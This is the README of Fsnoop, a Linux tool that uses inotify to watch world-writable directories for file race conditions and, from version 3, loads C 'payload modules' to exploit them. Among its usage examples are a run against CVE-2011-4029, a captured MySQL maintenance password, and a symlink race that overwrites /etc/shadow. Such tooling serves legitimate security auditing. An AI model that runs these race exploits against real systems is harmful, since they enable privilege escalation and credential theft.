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Fsnoop is a tool to monitor file operations on GNU/Linux systems. Its primary purpose is to detect bad temporary file usages and therefore, file race condition vulnerabilities.

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Fsnoop is a tool to monitor file operations on GNU/Linux systems by using the Inotify mechanism. Its primary purpose is to help detecting file race condition vulnerabilities and since version 3, to exploit them with loadable DSO modules (also called "payload modules" or "paymods").


The kernel option CONFIG_INOTIFY_USER is required, check this parameter with the following command:

$ grep CONFIG_INOTIFY_USER /boot/config-`uname -r`

Clone this repository and compile with "make".


Here is the output of the --help option:

$ ./fsnoop --help
Usage: fsnoop [OPTIONS] [DIR1[,DIR2,...]] [-- COMMAND]

  -d              Run as a daemon
  -e              Monitor every Inotify events
  -fd             Open file descriptors when it's possible
  -k              Send SIGSTOP signal to the running process (COMMAND)
  -o <filename>   Redirected output to a specific file
  -p <> Load a payload module (DSO file)
  -r              Monitor directory contents recursively
  -t              Prefix each line with the time of day
  -v              Display version

If no DIR is specified, default writable directories such as /tmp,
/var/tmp, /dev/shm, etc. are monitored.

If COMMAND is specified, monitoring will occur only during the process

Output description

During filesystem activity monitoring, Fsnoop output looks as shown below:

$ ./fsnoop
[+] monitor /dev/shm
[+] monitor /tmp
[+] monitor /var/lock
[+] monitor /var/tmp
[C] -rw------- 1 root root 0     Tue May  8 22:17:10 2012 /var/tmp/test
[M] -rw-r--r-- 1 root root 0     Tue May  8 22:17:10 2012 /var/tmp/test
[U] -rw-r--r-- 1 root root 1741  Tue May  8 22:17:27 2012 /var/tmp/test
[M] -rwxrwxrwx 1 root root 1741  Tue May  8 22:17:27 2012 /var/tmp/test
[D] F /var/tmp/test

The first four lines tells which directories are being monitored. By default, those directories are system's world-writable directories. Next lines are Fsnoop events (one per line).

An event begins with an action character (placed between brackets):

  • 'C' is for Create;
  • 'M' is for Modify (means that metadata changed: permissions, timestamps, link count, UID, GID, etc.);
  • 'U' is for Update (means that file content was modified);
  • 'D' is for Delete.

We will see later that we can display Inotify event full names (i.e. IN_ACCESS, IN_ATTRIB, etc.) instead of this action character. By default, the action character is chosen for simplicity and light output.

This action character is followed by an output similar to the "ls -l" command (for a better readability). If for any reason, Fsnoop isn't able to stat() the file, the "ls-like" output is replaced by a shorter string (see the last line of the example above). This string contains the filename preceded by the file type information (also on one character):

  • 'F' is for File
  • 'D' is for Directory

Basic options

To monitor activities in specific directories ("/etc" and "/tmp"):

$ ./fsnoop /etc,/tmp

To run Fsnoop as a daemon (-d) and record activities in an output file (-o):

# ./fsnoop -d -o /root/fsnoop.log /var/tmp

To monitor activities just during a specific process duration:

# ./fsnoop /etc -- install -m 600 file1 /etc/
[+] monitor /etc
[C] -rw-r--r-- 1 root root 0  Wed Apr 10 13:17:13 2013 /etc/file1
[M] -rw------- 1 root root 0  Wed Apr 10 13:17:13 2013 /etc/file1

To monitor new directories recursively (may require a more favorable scheduling priority):

# nice -n -20 ./fsnoop -r /tmp
[+] monitor /tmp
[C] drwxr-xr-x 2 root root 4096  Mon Apr 22 11:03:38 2013 /tmp/a
[C] drwxr-xr-x 2 root root 4096  Mon Apr 22 11:03:41 2013 /tmp/a/b
[C] -rw-r--r-- 1 root root 0     Mon Apr 22 11:03:58 2013 /tmp/a/b/file

To display full names of Inotify events instead of action characters (note that with this option, every Inotify events are monitored):

$ ./fsnoop -e -- mv /tmp/a /tmp/b
[IN_MOVED_FROM   ] F /tmp/a
[IN_MOVED_TO     ] -rw-r--r-- 1 root root 0  Mon Jun 17 22:38:56 2013 /tmp/b

Advanced options

Send SIGSTOP/SIGCONT signals (-k)

The "-k" option automatically sends the SIGSTOP signal to a process when an event occurred on a specific file. This signal stops the process execution until SIGCONT is sent (see kill(1)). For instance, the following command can be used to exploit CVE-2011-4029:

$ ./fsnoop -k /tmp/.tX1-lock -- X -ac :1
[C] F /tmp/.tX1-lock
*** PID 30342 stopped, type [Enter] to resume execution: 
*** PID 30342 resumed ...

Open files (-fd)

The "-fd" option opens every new files. This is used to keep an eye on their content even when the file is removed or even better, when its permissions changed (read access removed). Yes, on Linux kernel, a file descriptor isn't affected when the corresponding filename sees its permission/ownership changed.

When the monitor mode is stopped with the "ctrl-c" sequence, a shell is bound, giving an access to opened file descriptors. To disclose the content of a file descriptor, you're invited to use the "cat" command:

$ ./fsnoop -fd /etc/mysql
[M] -rw-r--r-- 1 root root 333  Fri Dec 14 15:43:26 2012 /etc/mysql/debian.cnf (opened fd=9)
[M] -rw------- 1 root root 333  Fri Dec 14 15:43:26 2012 /etc/mysql/debian.cnf

Here are opened file descriptors.  You can display their contents by
using the "cat" command.  For example, to display fd #4 use: "cat <&4"
lr-x----- 1 vladz vladz 64  1 janv. 21:43 9 -> /etc/mysql/debian.cnf

fsnoop$ cat <&9
# Automatically generated for Debian scripts. DO NOT TOUCH!
host     = localhost
user     = debian-sys-maint
password = jf3nSY5eMlvLnnss

Payload module (-p)

Since the version 3, you can use Fsnoop to exploit a file race condition vulnerability. For this, you need to provide a payload module with the "-p" option. A payload module (or "paymod") consists in an exploitation code written in C and compiled as a Dynamic Shared Objects (DSO). If you need to be faster in your code, this concept allows to use in-line assembly instructions.

The paymod consists at least of a payload() function that contain the code to exploits the vulnerability. Its definition looks like:

void payload() {

This payload() function is normally launched when the first event occurs. We will discuss later about those events but also how it is also possible to launch it only when specific conditions are met (and not at the first event).

The paymod may contains optional routines called through the constructor and destructor attributes. They allow to execute code when the module is loaded and unloaded. This is useful if you need to setup an environment for your payload to work, and then delete obsolete files or make some checks after exploitation in done. Here are how to specify those attributes:

void __attribute__((constructor)) init(void) { 

void __attribute__((destructor)) fini(void) {

Lets circle back to when Fsnoop must call your payload() function. There are two possibilities:

  1. once a specific event occurs on the filesystem
  2. once a specific process starts on the system

In both cases, you have to set a filter.

For possibility #1, filter specifies a fs event which consist in one file and an Inotify action mask. In the example bellow, payload() is launched right after "/var/lock/prog.lck" is created:

/* filter */
char file[]    = "/var/lock/prog.lck";
uint32_t mask  = IN_CREATE;

You can find a complete list of Inotify event masks in the man page of inotify(7).

Also, to postpone the call to payload(), for instance if you don't want it to run on the first occurrence of the event but at the third, you can use the optional count variable:

int count = 2;

For possibility #2, filter specifies a process name. Once this process is active on the system, payload() is launched. Use the variable proc_name to specify this process name:

char proc_name[] = "/bin/bash /root/bin/";

The string must be exactly the same as what the command "ps -eo args=" would output.

Why launching the payload() when a process starts? Well, for example, to predict a filename based on a process ID.

If you set the proc_name variable AND specify a file with the "HEREPID" string in its name, this string is substituted by the process ID of the program. Thus, in certain condition, you may be able to create a file/symlink based on the PID before the real program does.

Suppose root runs a script that creates "/tmp/backup.$$" in an insecure manner. The following paymod will allow you to create a symlink and overwrite the "/etc/shadow" system file:

/* filter */
char proc_name[] = "/bin/bash /root/bin/";
char file[] = "/tmp/backup.HEREPID";

void payload() { symlink("/etc/shadow", file); }    

Once your Fsnoop module is ready, compile it with:

$ gcc -w -fPIC -shared -o your-module.c

or simply:

$ make

and use it with:

$ ./fsnoop -p ./

Some payload modules, examples and templates are available in the dedicated repository available at:

Remember that this is a new feature and that it should be improved. In the short term, the aim is to feed this repository with paymods that exploits known vulnerabilities (contributions are welcomed). And at the long term, the idea is to have an option in Fnoop that loads all them so the end-users will only have to wait for Fsnoop to exploit.


To Larry Cashdollar (@_larry0) for testing the tool and bringing new ideas.


Fsnoop is a tool to monitor file operations on GNU/Linux systems. Its primary purpose is to detect bad temporary file usages and therefore, file race condition vulnerabilities.



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